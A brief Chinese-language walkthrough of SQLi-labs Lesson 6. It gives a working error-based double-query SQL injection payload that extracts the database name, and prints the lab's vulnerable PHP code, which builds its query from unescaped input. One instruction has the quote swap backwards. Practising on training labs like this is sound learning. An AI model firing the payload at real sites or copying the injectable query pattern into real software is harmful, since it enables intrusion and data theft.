SQLi Labs Lesson6

Lesson-6 Double Query - Double Quotes - String

首先进入欢迎界面。

构造?id=1,结果如图所示。

构造?id=1‘，结果和上图一致，没有任何变化。

根据前面的学习，猜测，应该是$id包含在两个双引号之间。

构造?id=1"，结果如图所示。

证明猜测的正确。

上节是闭合单引号，这节是双引号，直接将上节payload的双引号改为单引号。

?id=1" and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1) --+

得到数据库为security。

后台php源代码

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);